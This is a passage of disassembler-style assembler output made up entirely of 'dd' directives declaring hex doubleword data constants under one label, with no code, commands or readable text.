dd 91154F25h, 549FAD00h, 3A22AF7h, 0F6C1BF2Ch, 9AD26108h dd 0D80F9C80h, 8C17D2A8h, 39006C95h, 11ED5A9Fh, 0AAF70049h dd 7DDB9060h, 3B3F1686h, 8C8000A9h, 886CAEF3h, 142000ABh dd 4DA68B0h, 670098A3h, 28C2B679h, 0C25D0D5h, 5F32B9F1h dd 0C801403Ch, 83335C81h, 76C80366h, 919F0030h, 95DF17A1h dd 0EC981EB7h, 0B0E12526h, 0DA44C200h, 19156003h, 3075B57Dh dd 7AD8C762h, 201BDE3h, 0F824D971h, 0AECC4A7Bh, 46100715h dd 0F4491AA2h, 5724C1F1h, 32F88843h, 6A0780DCh, 84E6731Fh dd 342E4707h, 263BAE7h, 52DBA890h, 924C0F2Fh, 93C08BA4h dd 0AEE8FCA8h, 65BAB11Fh, 1896854Ch, 0DA2C0728h, 2939CDC3h dd 0E94FB880h, 1100A31Eh, 0CF42AD77h, 0ECAE0DFh, 46EF483Dh dd 9B1DEB60h, 8F009794h, 0D10F1690h, 1F6996ADh, 0C9641418h dd 200015CCh, 745E1ADDh, 0E798B700h, 0F267E86Eh, 0F0231CC1h dd 0D603436Ah, 9EE901D2h, 7ED9C8BCh, 9000B9E0h, 0B28EE1A5h dd 90BD740Eh, 504E0096h, 64FABBB7h, 0D300A83Fh, 0CC0735E1h dd 7797890Fh, 0E8390369h, 2A842D86h, 309F2BC9h, 1B0079DAh dd 85DD0BEAh, 77E14D9h, 2435E062h, 805235D2h, 1972D41h dd 0AC635900h, 5DB86FB4h, 0E7990010h, 0A35C3932h, 4C7EC678h dd 0BAB2CB00h, 46C39F34h, 6D0D0050h, 9AC87E61h, 20076BBh dd 0E4F4C41h, 7CEDC78Fh, 909103F6h, 0B21D25FAh, 3A6755F8h dd 5E022E00h dd 99499F36h, 0F82714Ah, 391FF201h, 96B74341h, 0A13C6009h dd 7D5E1300h, 83565FBDh, 22F6014Fh, 0C8E9DFF7h, 3027602Eh dd 4826313Ch, 78CC0099h, 7E49386h, 0A0880B49h, 500E7CE3h dd 7BD72340h, 60285366h, 3360AA3Eh, 30849738h, 0D6793DECh dd 0B800DABAh, 5427A4A0h, 0C60011BAh, 0AA720723h, 130DAC28h dd 128F17h, 0EA90C86Fh, 0C0021F8h, 33A58E6Fh, 7BFD66h dd 5542EEDBh, 0F3F19746h, 81449303h, 0E0CD7509h, 2ECA7FEFh dd 80A4896Ah, 7372EBCFh, 8E3C9991h, 7D37800Bh, 7B7CF217h dd 54C5007Fh, 0BCBED8D9h, 0A600EF94h, 44B7C25Ch, 0F38A1D12h dd 138889DCh, 0E508Ch, 376DF99Bh, 0D504A9C8h, 0FAE170FBh dd 0D9072FC0h, 0B391007Bh, 0D6B47CB0h, 1913DEF7h, 0F840A474h dd 379C272Dh, 0C6CB0ECDh, 9BEF2543h, 3FB1F780h, 18ADF80Eh dd 80ACEE0Eh, 90238BF2h, 184C608Ch, 9BA42119h, 0C4B91200h dd 14615C26h, 7780C713h, 0F9C9A0CFh, 4A1D9152h, 2C0995F0h dd 513380DCh, 0CC1AACC5h, 0E1302E40h, 2FFF7A06h, 98EC72h dd 615F26B0h, 0DF3EE232h, 7A415700h, 0FC248898h, 0E9220155h dd 40A79F2Ah, 774EE05Bh, 0AD1CCAFEh, 81C066D0h, 0A1C04147h dd 0C6650353h, 0B12692Fh, 761D8C8h, 55887503h, 0C80170B2h dd 0EB1113h, 4FA7FBD7h, 80FDB0F2h, 8260970h, 47038E3Dh dd 0A5B9104Eh, 0D6146280h, 0A164001Ah, 1C09872Bh, 0F60C97B1h dd 0C13613C8h, 5B4008Fh, 1910A96Eh, 181DEBC5h, 8318C4A1h dd 2DD21h, 0A3A9996Eh, 0AEFBFDA4h, 13284100h, 6695A01Ch dd 7B0F01B6h, 0E1AAAC0Dh, 0C42BC99Fh, 0B1727C84h, 9DA3D8F8h dd 87E177E2h, 3F1883AAh, 0A8B0CBC5h, 5959039Bh, 2750C894h dd 7AE50070h, 14A4FFC4h, 9EE8DBDCh, 8066B1CFh, 8C56F070h dd 21C1077Eh, 0BE114A48h, 0F3C03C4Fh, 7AEAB665h, 79841531h dd 41FC7229h, 908632EBh, 84828F69h, 801B35E2h, 2110AE6Eh dd 8591C691h, 6E0ED200h, 84F9C798h, 4B5CD501h, 0C8DD2F36h dd 0E4675880h, 0B664CBBBh, 0C212B7B0h, 5440ACC3h, 35AADD0h dd 3FF906F8h, 8AA2FB7h, 0F221A860h, 1E05BC0h, 0ADC9647Ah dd 9F841478h, 8B36C79h, 4E7EF094h, 0F09500ABh, 3A344DB1h dd 6C007AF5h, 2544EE82h, 28721312h, 14F24BB0h, 88EB1C34h dd 1868906h, 0F8C8A8C6h, 6DDAC3E0h, 0F04411D3h, 0D488827Ch dd 1F6D00D8h, 949D32ECh, 0EE0CBD1Ah, 0E87726F8h, 0A8441867h dd 0CE3568FFh, 0C055B6A0h, 0C9C2EC00h, 0B049C759h, 4B68009Dh dd 9D35E7Fh, 2E2494DAh, 1507D1BDh, 78701B65h, 8258Fh, 0A96F56D7h dd 1FB403BFh, 0B117A400h, 0E9302728h, 7F7705Eh, 2B320D87h dd 75743037h, 4138A0FDh, 145E9E8Fh, 0E9A2400h, 21A6CFh dd 2FAC9403h, 0C2EE148h, 28F63003h, 980AA8D4h, 8EBD3h dd 0FAFCE514h, 6E63D79Ch, 0D57B7100h, 5C86116Ah, 0D493A23h dd 2EE0377Ch, 19C7C008h, 755E9993h, 0E04DDEC3h, 0C37069C6h dd 5FB30D20h, 78683022h, 92050661h, 58BDEE6Fh, 74F93C38h dd 375980h, 0A184546Bh, 82A839E4h, 816DCA30h, 3E8E55C0h dd 88BC3443h, 8083307Ch, 0D54B2659h, 381829DEh, 846C7F21h dd 801213A1h, 12D4B20h, 1C925677h, 0FBA0B04h, 5D21633Bh dd 0CC1DC50Dh, 2750A689h, 6B425A24h, 0C9D6B201h, 0E0503CAFh dd 8AE9DD81h, 145B6D79h, 6CCB143Eh, 35386348h, 0E1813E88h dd 0AD8EF280h, 732AD90Ch, 462128C8h, 0F30039E3h, 927C8CCh dd 0B387DFh, 0D558976Bh, 5B77668Ah, 56BA3718h, 0F25DE61h dd 398F079h, 61F9B380h, 55015913h, 63A8E0BBh, 58987080h dd 56D1A125h, 0C40E0688h, 218082C1h, 8E126ADCh, 0CA7EB891h dd 4020AE23h, 0C310F009h, 85FFFB28h, 0EFF62000h, 31D07F90h dd 654E2461h, 5028618h, 860C3857h, 31D7DE4Bh, 112C9171h dd 25C80051h, 2E5FF042h, 18C00ABh, 303FF479h, 0B8FAAA66h dd 4B95CA18h, 6488E98h, 0FEE1E3CBh, 0DD39510Ah, 0EC69E2BDh dd 15E023FCh, 7E306100h, 8116A3FAh, 0ABFC0043h, 3C25DF2Bh dd 58309D6Ah, 2871D8ADh, 7F1601D7h, 0AA533DC3h, 0DEFC489Ch dd 38E5B44h, 52A68B92h, 61338880h, 8DC080Bh, 87966D78h dd 51CA8186h, 80B4839h, 0BED73C00h, 71731ED6h, 0CDD8C00h dd 0C14D09AAh, 0FB50C237h, 48008608h, 57F3A1h, 0A02F0EB3h dd 7EC0AF2Ah, 0F618517Dh, 8E6897AEh, 0BD0502CFh, 3FF2415Bh dd 0D8D38490h, 88CE989h, 75590BFBh, 0B1D4C702h, 805FEA1Ch dd 0A5428E10h, 406F6043h, 0DC896BA1h, 0C158F100h, 0DEC5BC26h dd 1E7A7979h, 8EBA97C0h, 7E8E0E73h, 4CBB123Eh, 5C413538h dd 4891EC04h, 789950D5h, 0C0FD0020h, 74B9F699h, 0B400D656h dd 9F1F2E46h, 54E0EC3Bh, 0AFA083h, 7D07B622h, 88AB38F3h dd 1FAEA30Fh, 0DE0F57CFh, 4B791867h, 0E13463D7h, 41017DE0h dd 1F0861DBh, 70EC0628h, 485549A5h, 97207801h, 20AB3FA2h dd 22043C68h, 0DC966AA9h, 80FB04D2h, 24291054h, 33A80299h dd 760C661Dh, 0DE79898Ch, 0DC1EB4A4h, 481E625h, 7E2878C5h dd 80012421h, 798056A3h, 0A8EFD12Eh, 0CAE47A2Ch, 0C87B7315h dd 20314E4h, 80DD3F50h, 4D473F58h, 1975A359h, 511CA853h dd 8C5824A7h, 0B854302Ah, 0E6C07A07h, 0EE02513h, 1ADFAF41h dd 0D0260904h, 0CC4E00B0h, 1795C0F9h, 0BB809493h, 0B4A54719h dd 0D71600A8h, 0DDB32891h, 0CB264DD3h, 0DC26BC06h, 11D28509h dd 2C40F66Ch, 39DF1458h, 0BA261331h, 3FB3C040h, 3801DD9Ah dd 9F3B6A2Ah, 998AE0B9h, 43F8E102h, 16E864E4h, 4F00C42Ah dd 0E95DE024h, 9206F72Bh, 1DDD0020h, 77F0B581h, 5055AF02h dd 0E1376098h, 79D3A4E0h, 264C1010h, 9813BC71h, 0EF0D3C1Fh dd 40A9192Fh, 20351678h, 375EDE3Ch, 0DA21900h, 0CB6BA70Bh dd 0E7504B3h, 0D85F99E4h, 883C905Ch, 0F1AC80BCh, 405982F6h dd 1D87C12h, 37047E95h, 17818C13h, 9ECCA8F0h, 84BE98BFh dd 0B1DF64CCh, 0D2488D6h, 0E118349Ah, 0C6685D59h, 1ABFCC9h dd 92B6A143h, 0C4AA8371h, 21FCB151h, 0F9865233h, 8ED0A23Ch dd 0E7700A1h, 215F4DDh, 0D3223D41h, 40CA7331h, 75003C66h dd 89CADAA1h, 75D3155h, 43FB191Ah, 0BA4AA01Fh, 0A0C8121Eh dd 5418E9D0h, 0AD002962h, 7AF075E7h, 1F6B620h, 0A7483E39h dd 1054333Dh, 7F69B259h, 44610CD8h, 0CF410CD6h, 7DE7101Ah dd 0F91C645Ah, 0D71C8814h, 4C5030FDh, 0F1B319C7h, 9908FAE0h dd 7630051h, 8AA0C061h, 0AC0AED16h, 0D8382CD3h, 4842F4A0h dd 0EB005622h, 91EE42FDh, 4CAB90D5h, 0D011D84Fh, 22045880h dd 49A76EC2h, 2081702Dh, 0C1CF0764h, 89AAA0B7h, 8C165Dh dd 666365E2h, 0AC060DF7h, 0EA2A140Bh, 0A8089037h, 85E20531h dd 90D2BE34h, 0A3E52630h, 0A951F301h, 84CB4B25h, 522E848h dd 0A3E90258h, 54D888E0h, 12A1D300h, 505EF79Ah, 0B207767h dd 2EDA0C76h, 1858E010h, 529888B9h, 0E9D1ED9h, 9BC13EDFh dd 0ECB3661h, 27BCC50h, 1006F124h, 3E4F5444h, 50D972A0h dd 303D457h, 0DD80899Fh, 0FB212E4Eh, 78F540E8h, 7204343Ah dd 283FC57h, 0D9036490h, 0E9012C04h, 81DBED8h, 517C2452h dd 2CECD2E9h, 297E3C00h, 0D318F0F9h, 0BBE11058h, 4006145Dh dd 0AC3E8AE8h, 810067A6h, 32214ED9h, 46080372h, 9A2DC818h dd 366DD1F1h, 53AF00C4h, 0F6CC77Eh, 0E802094Ch, 48AA5298h dd 0FDEC8878h dword_55FD48 dd 0DFCCCCBFh, 0E471091Bh, 9E80A49Dh, 599264CCh, 0CE007BC7h dd 7629CA20h, 648D22C9h, 408131EAh, 0B27DE13Ah, 405302E6h dd 751D4C9Ah, 0E004849Ah, 224C5488h, 80066556h, 10E82035h dd 780080E2h, 0BEF654A2h, 0EB306F9Fh, 0D781F086h, 34922955h dd 6682449h, 0D5B533Fh, 4EA33061h, 0FE3288D1h, 9006874h dd 1B2BAA78h, 0DE8BB7h, 1E514AEh, 829EF3FCh, 0F90A5091h dd 6F808806h, 0AABD95B1h, 372EA6Dh, 0C4A0DD75h, 0E3A8B4DCh dd 44098D26h, 22ADAA6Ah, 50588A7Ch, 509B28h, 0BA0806FFh dd 0BC920219h, 0B0E00148h, 4B9408Bh, 263C47E3h, 0C82129Ah dd 0F2DCAFFEh, 0FC2244D0h, 0D864019Bh, 2CE2986h, 3EC07072h dd 0E03B52h, 44B19221h, 74813Ah, 18093D95h, 41CB6CEBh dd 70A1A804h, 0E48834D6h, 1266ECB1h, 821542D2h, 0D864E000h dd 0E8007274h, 0EEEB481Eh, 2647B7DBh, 984C062h, 2C90956Dh dd 5496358Ah, 39CB8980h, 0F7A59Fh, 99B24870h, 6D6F155h dd 0E7870202h, 49CD685Ch, 88504164h, 14BE2Eh, 16EB0E0Fh dd 280D6880h, 67643201h, 0D54334CCh, 1C44C463h, 74C9005Ah dd 3A702E4Dh, 0F43CCD60h, 18A38087h, 26C04FA6h, 806494E0h dd 91DB6F76h, 0D605B841h, 6CD5B31Eh, 0A571E021h, 72002022h dd 90244554h, 0B9F2C210h, 4AB48C00h, 0F47DC9E8h, 0A3550D18h dd 0F0894BA4h, 5000FC82h, 16856CBFh, 5DC15165h, 26137437h dd 8B80008Eh, 0ED736914h, 36C60402h, 4870A6FBh, 0A4916D1Ch dd 0A6815CBCh, 97F0A845h, 11C1D884h, 0A3897B8Ch, 4D002462h dd 0E2F5378Ah, 0F0000845h, 3AD23339h, 24B1989Eh, 252C961Dh dd 7B716C81h, 8C3051D4h, 0C5002C85h, 5C8A0302h, 40F83424h dd 0D08B9CE2h, 7324DB00h, 0DA1E1D5Eh, 2A4B77E1h, 884AA0h dd 8E48F568h, 940F91E8h, 0C64B0400h, 84A6E3B2h, 251A0B0Bh dd 0F407D5C9h, 304AD97Fh, 5193A810h, 0CF0AA203h, 8157D305h dd 0BE215FC0h, 3FD69183h, 0A90082E1h, 38763C4h, 13439D2Dh dd 103D4698h, 0CAC4A80Ch, 87B4218Eh, 0FC91FB0Ch, 414BA00h dd 120B1C8h, 33E962FDh, 0FCB05395h, 1C12A599h, 5C52EF08h dd 0B76B08D0h, 8F0707Fh, 5FA53562h, 0D90F4C20h, 8257A08Eh dd 6CFA0539h, 0E102288Ch, 0DD490044h, 9864049Ah, 0A4312E91h dd 36D1B977h, 0DA40C114h, 0B879A95Eh, 6D3C1680h, 0C8CD6Ch dd 79D6B72Fh, 0B634E70Eh, 0C9A07E01h, 7319E5B1h, 0DF5C3Dh dd 0AFDED993h, 0CB12E038h, 44E288h, 35494EF7h, 0B43914E8h dd 0DF90BB07h, 0A0E04838h, 275FD8B2h, 5CA46045h, 0DD81436Bh dd 52394855h, 0F0D0802h, 60810103h, 62E7D6B2h, 0FC0429A4h dd 0D985350Ch, 0CD4402C6h, 0F02DBD8Dh, 0D63D5C48h, 0F89A73FEh dd 0D72E0EF0h, 0FB971403h, 90796420h, 67B60043h, 3F48A8A3h dd 0D578D4C6h, 7E3E261Dh, 480C48FDh, 9AD00Ch, 0BC472775h dd 0E2974B8Ch, 0C099F8h, 0CD8E9CBDh, 0F2048726h, 3922F51Fh dd 49C093h, 9118AEB9h, 0CA361BC5h, 0D1256212h, 0CE30A054h dd 169E20F7h, 0ABC7C1h, 0E27BF5D8h, 264DA387h, 0AF9F0E0Ch dd 74B35832h, 0F4B320h, 1A38C492h, 0FC1CB58Ch, 9356AB36h dd 5D59B021h, 7446CB12h, 9D859521h, 0C4B82CDFh, 90F8E9h dd 26C2D637h, 2544CB16h, 14106F47h, 0CCA442EBh, 0A03C44h dd 49F52CEAh, 0C4311877h, 0BF7B2400h, 0C5CADB97h, 883D32A1h dd 0E22D7C81h, 0CC088980h, 0A57A2269h, 9782E300h, 0B5C3A8D9h dd 0C0E17B29h, 0FF837931h, 7003CF6h, 0DB4509A0h, 1EDAE7B8h dd 2419AEEEh, 7F1A4000h, 8B19DEBh, 24472B00h, 3CBB294Ah dd 0CA00FF92h, 0BFD77037h, 0FCE1759Eh, 857A0D71h, 2100EDE8h dd 0B37EA295h, 7FCB4B6Fh, 91F1D33Ch, 0ED6DD594h, 609861BEh dd 109EB6A6h, 6BCC48C0h, 0B8105D31h, 84D9D710h, 2C5051ECh dd 10D84B15h, 4449E921h, 989626E0h, 5F50006Ch, 4B7E68D3h dd 0BA95505h, 28C8EDF4h, 0D73C8849h, 9EAE707h, 0B48472CAh dd 45D120E4h, 4C2333h, 8D21D3C4h, 0ACF9EDBh, 0F83C577Ch dd 0A2470014h, 0BFABC28Ch, 0CDE69400h, 6053EFE2h, 503050C4h dd 19852E0Ch, 74833CF9h, 0F443916Eh, 0C96AB5D8h, 1079B90Ch dd 8883790Bh, 21006430h, 0D4957CBEh, 0B242D3Ah, 0E7894B7h dd 10572469h, 0F9CAC9h, 92EA6A19h, 0D5FD959Ah, 0B9A01714h dd 0D1B40064h, 0F09D3C8Fh, 4CE60086h, 16BA6DD0h, 3B0559A8h dd 6F024A9Fh, 887FD4A4h, 4379658Dh, 81730E01h, 7EA45A1Ah dd 1397D8C4h, 4B9CD9B3h, 6811A348h, 2983C861h, 456C8D2Eh dd 8093507h, 915ED2F0h, 24B385h, 842E3090h, 0C24EB115h dd 0B8006DBCh, 36BD56C9h, 0CF5CA934h, 42097F4h, 483732Dh dd 0A9E822B5h, 0BCF30Fh, 6BC4EF26h, 7E533AEAh, 0C1B25838h dd 0F8A47509h, 0B5EBF048h, 0F9A51200h, 0FAEA6C15h, 99972742h dd 40339CA4h, 2392D146h, 6FDB024Dh, 4BF48FA6h, 417609F5h dd 28AEED4Ch, 0C8AE45B4h, 3CE31B1Ch, 1A5B8B74h, 7D9E408Ch dd 980B0174h, 27191FDh, 0E7A444FEh, 50186D64h, 8074D3F2h dd 91659B3Ah, 2A2F31B4h, 85982472h, 0BB04F826h, 398CC1C9h dd 11C6B4E5h, 3C3124h, 6BD48128h, 2C208BCh, 16CE612h, 599305DDh dd 79BA3EBFh, 0D03D0114h, 78280D67h, 3E9A58C8h, 71EBF90Ah dd 7B97D810h, 33427099h, 8F9FE034h, 0A0D0079h, 0C5E14202h dd 20D4EB8Bh, 962EC070h, 0FC1D3F77h, 0D8CD0388h, 0F8F9F49Eh dd 1158202Fh, 0C89103DCh, 0AA0C5054h, 9AE3C40h, 0A2E2DE3Fh dd 0C0DCEC68h, 99E11709h, 4CCCECF0h, 3C83CD0h, 7F7BA053h dd 35BB5A8Ch, 6F30C878h, 0B903AF03h, 0D88F9DF1h, 7253A62Eh dd 4DDF1EF7h, 0E0582C5Eh, 65A47CE6h, 0DBEF7800h, 0A7BEF3EBh dd 0C958187h, 7E08F5D1h, 27268844h, 0AC90ED4Bh, 1A09FC91h dd 62DC7B51h, 0E968B074h, 0BD530026h, 0A3CE0335h, 0C709BBC2h dd 449855DFh, 44295FC0h, 57C2918Ch, 19F08841h, 40EA386Bh dd 12C058F2h, 2272DE77h, 0F212EB30h, 581C9C44h, 0C201428Ch dd 363205C7h, 71883A6Ah, 18C9C196h, 0A62B88h, 6CE7482Dh dd 0DD52C5ABh, 0A14E420Ch, 2B81B87Ch, 78E4D0h, 885DABD9h dd 62007CC4h, 2315C182h, 0A0BC4159h, 48AF71ACh, 0A0045C17h dd 0F338B525h, 0B9EB2708h, 59850554h, 0FC11F6h, 0DEE7B1E7h dd 7200D2A2h, 206C7AC4h, 27C212CAh, 58B09A6Bh, 5800A378h dd 4C75D3A1h, 20C723Ch, 1CFB55CBh, 20661139h, 58AF022Ch dd 4CE0A026h, 5FF6597Dh, 823C1757h, 0D0B12530h, 0A5C6C8EBh dd 0CC3C0954h, 0C540406h, 0AE771Fh, 6553E68Eh, 0AF085655h dd 0C778705Dh, 1D909CC8h, 4477A99h, 3D5A2C1Fh, 0E2C4D0A2h dd 0F09D059h, 4984EDF1h, 11FE0384h, 0EEE51081h, 0A95D0058h dd 8ABD96AEh, 78F3D210h, 177CC340h, 0F5A9F83Ch, 2201008Eh dd 0B83FFC07h, 532B0A16h, 8038BC88h, 0BB641EE6h, 3FFA36A8h dd 4100E4E8h, 0D3ACFD79h, 2C094266h, 6CF702DBh, 404494CCh dd 883C4B6Ah, 470C2412h, 0AA9F0420h, 18C000C6h, 9DD25283h dd 20AA70BAh, 8CB0CC09h, 5EE2BC0Eh, 3B4D705h, 5480EE47h dd 62E93FEh, 0D641DC8Ah, 38B6786Ch, 0EC991880h, 1F532C07h dd 35A7350h, 59A7E567h, 0DCA40DE1h, 5896929Bh, 0E3791340h dd 0E4FEE6h, 0FBE19F58h, 5E89222Dh, 28718B02h, 0AE9D34F3h dd 9820B3CCh, 64B6CAh, 70C20350h, 3210BC15h, 0DFACA504h dd 73005D59h dd 55345279h, 0B8451200h, 0E707564Fh, 6074B6D7h, 27A1225Bh dd 0F017900h, 0AFF698CBh, 516802FFh, 164E69DBh, 21005CEEh dd 0AC473C34h, 2247E59h, 4532FCD1h, 951D8h, 6BD222C4h dd 4430984Eh, 1B090C81h, 5B0B1352h, 79190014h, 0EDC8C6F4h dd 39BC4B00h, 13FE86F8h, 0F5290147h, 94276C9Ah, 0F03C0085h dd 3B6900E8h, 717315AFh, 0D001B152h, 240942DFh, 0DACAF102h dd 0B4885478h, 6705079Ch, 6429204Fh, 29F88D5Fh, 0AF33006Ch dd 9C2177A5h, 144B09D6h, 4C714D31h, 20B1611h, 3C0439D9h dd 4D5026CFh, 0DE800Dh, 8808DFA3h, 0D2207FABh, 72060041h dd 1B2632EDh, 0C012ADB4h, 34B30AF8h, 4E925811h, 63EE0020h dd 133B029h, 421C6AF7h, 74583959h, 0F384FE50h, 0BC63839h dd 7E2159EAh, 4A1114h, 4B1AC52h, 48E4E3h, 3B27588Dh, 2C8B26Eh dd 0FA023899h, 0E4836BBDh, 248A5808h, 73C304Fh, 8E00FBAFh dd 383F2FC3h, 0B1ECCCh, 0A6FE4678h, 1205C95Fh, 6C60E894h dd 4C7287D5h, 4500F64Ah, 124D13D2h, 0E824847Dh, 7A11105Eh dd 7F21F600h, 2C70F7E4h, 8900DEE0h, 992BBBA3h, 0A686F584h dd 38E08A0h, 123E5101h, 808A2D7h, 403E4419h, 0CE686FAAh dd 0A328000Bh, 12A67EDh, 8F159B50h, 21A42945h, 0B46D0BD3h dd 3D265C10h, 2C90FCA6h, 99EAB901h, 12083CD2h, 94C02078h dd 61A12D6Eh, 3459D00h, 5FF648DDh, 0EC76087Eh, 4B05255Eh dd 48C8DAD8h, 446C99EDh, 4D94404Ch, 22E326h, 0C3D788E6h dd 554751FBh, 21B97D0Bh, 9C6C44AAh, 0D4896E24h, 3463844h dd 95FB9C44h, 83E3B4A1h, 3F09F4BFh, 0F603417Fh, 0A4C1644Fh dd 0CEDFDA87h, 0B07F0300h, 55F514FFh, 0FE041FF8h, 96582559h dd 270C04D2h, 0F195E001h, 7CBC8587h, 71703C80h, 4D0B20Dh dd 7308A2F0h, 143888B9h, 88FEC202h, 0E425F8ADh, 6B80255Ch dd 211C8C5h, 9F3B7F00h, 0D7306BAh, 0F1030F1h, 8DAAE504h dd 0C8246B40h, 0CF7F82BCh, 4A3348h, 90FDD0Eh, 5FD6B1FFh dd 297024E6h, 1CE032CCh, 50805145h, 0C7AF32E0h, 8884605Dh dd 0D2598E58h, 2141AD02h, 54F4DC24h, 58646988h, 0C421535Ah dd 58398B3Bh, 7CE80225h, 5460A571h, 0F62A8381h, 0D2E50439h dd 0A16015FDh, 845C6918h, 3C4157DAh, 0D19B7E22h, 1247350h dd 0D02807AFh, 702CE9EAh, 0C05AA3C9h, 97C55406h, 44A08EA4h dd 58488A6Ch, 0B890D21Ch, 1450E6CDh, 0C9A9DED7h, 0A8D9F502h dd 9CD1124Ch, 7671CD80h, 8B776Eh, 0CBA8F34h, 518D42EBh dd 8130A55Ch, 17EC4126h, 9F83FFCh, 0B78D6756h, 0AA4C7102h dd 22580D0h, 42384406h, 0A01034D8h, 4530D8h, 5794C6C0h dd 23D2B275h, 5E385D03h, 98E84D9Fh, 5D0741FAh, 1224476h dd 960035F0h, 83629BFCh, 2785371h, 5B04A51Eh, 98987005h dd 0F205DC26h, 7379AF75h, 0CE00DCA6h, 0CF8C96E7h, 58419880h dd 6A0A3040h, 209095FEh, 3602BCC3h, 7B612179h, 0A53C76CAh dd 72022868h, 7C96D3F8h, 0B9D26D81h, 1180E935h, 0EB3672DEh dd 0B079D898h, 6190100h, 0CBC36B5Eh, 1D69005Bh, 52D2FA0Bh dd 0CC748DDAh, 1819DD0Eh, 50088254h, 4EB5031Bh, 41280818h dd 0EB8111h, 0A7894239h, 0DBDF1344h, 5206147Ch, 539DF2BDh dd 57E40028h, 0BF97C615h, 8918081Fh, 2A40760Eh, 300C603Ch dd 8361C4DDh, 1DCF5B3Ah, 0DEC7763Fh, 73210AFAh, 1D00D7A8h dd 0B440053Ch, 481E38E3h, 409E9F9Eh, 50C9AAA7h, 20D1F732h dd 0D5C10014h, 84516E2Bh, 0D6611E0Dh, 57EC04B8h, 0B3FE04D3h dd 5FB5BE00h, 583FD6A8h, 0BB4200AEh, 72E5E617h, 50C876C9h dd 0C0F28866h, 948519B1h, 99762691h, 9DAD5800h, 7EE50A8Eh dd 1815FE1Ah, 0B8E721B5h, 0BF005452h, 0D52D723Ch, 573551h dd 0AEA8DEC9h, 6699BA61h, 52DA4740h, 4420C091h, 110DF970h dd 18B266E6h, 0A84929E0h, 677BC0h, 9F082F5Fh, 9EDF7D17h dd 1185D200h, 9A1DEE18h, 0FAAC0B0Ch, 277AF13h, 0AE086527h dd 0E8458A8Ch, 5B00B59Fh, 44BD238Ah, 1BAEE887h, 102276FAh dd 42B8BBA1h, 1486F90Ch, 4118084Fh, 86393FF5h, 3067F8BEh dd 6431B999h, 0EF0CB49Dh, 3979A5E9h, 428E642h, 0F35B2AF8h dd 813FC110h, 0FE9BD8F6h, 95ADC000h, 3EB791D5h, 4846672Eh dd 4167A3BDh, 8002BCA3h, 0EC0E4B1Dh, 0A710808Dh, 134D139h dd 0D553E04Dh, 881E972Ch, 0B385B9C1h, 0A3F90399h, 0E1BE5Fh dd 0AEFAA735h, 0A146E552h, 80FE7664h, 6BF01D7Ch, 0DDE53102h dd 0B8428C10h, 6CBE0079h, 1ED16332h, 3CF80325h, 86A241A6h dd 83582019h, 0A4101030h, 3A0745F7h, 8DAF54F9h, 2C31184h dd 0EF2EB0AEh, 0A324190Bh, 851EA9A7h, 0A9E551E8h, 6C98805Fh dd 709CB9h, 0FA891FA7h, 0AFC7205Bh, 37D79500h, 3F818B3Eh dd 80BE57B8h, 241B9520h, 0B091D42Ch, 30C4B607h, 1D596EA5h dd 341FE8B8h, 0ACF89C7h, 3C562257h, 77460F3h, 3030FE06h dd 24906883h, 0E40621B8h, 84A675CFh, 9BF73769h, 3B0922B1h dd 8883104Ch, 4081C83Ah, 697DE0h, 1D84EDCCh, 6AB7392h dd 0AF804550h, 2446E905h, 5804802Fh, 40912068h, 7180AD96h dd 0F6D6B054h, 533FC4A6h, 3E4D0EAh, 412A9678h, 0EBEFEC26h dd 40CE3100h, 2B9A4355h, 0AE59C178h, 838889D0h, 0FB4BF5D8h dd 3B92825h, 0D16707FCh, 7412DB43h, 1D049079h, 9CA973A5h dd 0E0C530AAh, 917B7500h, 0B5A18C0Ch, 3BF4C8Ah, 833CFD00h dd 4A08DC6Bh, 64250628h, 87416060h, 31F8CBD3h, 4C10E769h dd 609841B2h, 87088053h, 174BF2E8h, 902C0378h, 0B95623C3h dd 0F21F380h, 0AF967B18h, 0F4D972E1h, 0F7011C17h, 7150C0A4h dd 0A2DCDEFEh, 0A4231324h, 0E18846h, 1E4F9EEEh, 5115A1Dh dd 0B44598A4h, 523DE0h, 5CD8859Dh, 2B657221h, 326DE78h dd 0E30A9E24h, 960C2889h, 0B539AEh, 7AF66AB2h, 0AD03D37h dd 0D22CBA01h, 7DEE7959h, 46670823h, 0E0C3A0C9h, 0D01FA3C0h dd 10281E57h, 0AEB0A761h, 985074C2h, 49053E67h, 0C50A0C45h dd 100C1E42h, 50DB8404h, 3AF354D1h, 1428B212h, 0C0762441h dd 0EC0AB454h, 1064D0DDh, 0FD0FF840h, 17032694h, 0C5A4B783h dd 0C6310524h, 1EE4105Eh, 483D8A9Ch, 6AAE002Ch, 0E395027Eh dd 801C1F48h, 0A0BADC0Ch, 19C0E896h, 0C15FD69Bh, 3039BC4Ch dd 8A4E7941h, 5260082h, 401065C0h, 6F19039Fh, 23D8AE3Dh dd 34406D12h, 3A33432Ch, 30BC68E0h, 24218B18h, 4CA01705h dd 0A029C08h, 0F45170FCh, 0E0D84B98h, 0E66EC0B7h, 0E3720329h dd 76DF7595h, 318B853h, 716A9753h, 4D7E41Ch, 495FC25h dd 0B4B0B470h, 0A7E903D2h, 7B293EC1h, 0FF418109h, 20CB23Ah dd 0C6B3767Ch, 12FB4238h, 884C8D68h, 0E193936h, 2AE013F4h dd 96EBA42h, 8658DC64h, 957CC858h, 760FE867h, 7213B3BAh dd 1CE090E4h, 0C400B933h, 2D7CE8F6h, 0E75BB6F9h, 0BADD998Ah dd 0F7750299h, 0C86496B0h, 817344h, 884D72F9h, 6CF2FA66h dd 0F3AE8F04h, 60882407h, 714C608Ch, 348945E0h, 0F05BE50Ah dd 0B2919CDBh, 1E6A8A00h, 0AD651833h, 5829E400h, 21AFE302h dd 0A6B05C55h, 88D91A15h, 0AD6723C0h, 45985C9Bh, 0E1079526h dd 6C644C1Eh, 54FD1B40h, 464914A1h, 0D200E47Fh, 12046F67h dd 1E49BF94h, 0EFBC417Ch, 5760D918h, 1CCB6441h, 4084F0CFh dd 0F62F94FEh, 4001786h, 0ED4C1F3Dh, 98FB9135h, 80C32ADCh dd 8D0803BCh dd 4E25AA97h, 800F43AAh, 0C2E02E1h, 7BA63BAFh, 0BC687180h dd 0B9122439h, 7FA38718h, 78A0541h, 1815453Ah, 0B6351049h dd 0A91C5804h, 2898541h, 99701A40h, 20E20930h, 0B1FE04BAh dd 3C3030D3h, 287190h, 3BE10BB5h, 3F461FAFh, 0D6FCC80Ah dd 24049050h, 988CD838h, 0A8090186h, 688D56EFh, 25188388h dd 0F81DD15Fh, 7AC1B8Ch, 2ED9369Fh, 0D2B9C3DDh, 6024F014h dd 77A386FCh, 1A140F81h, 0E1A9BFF8h, 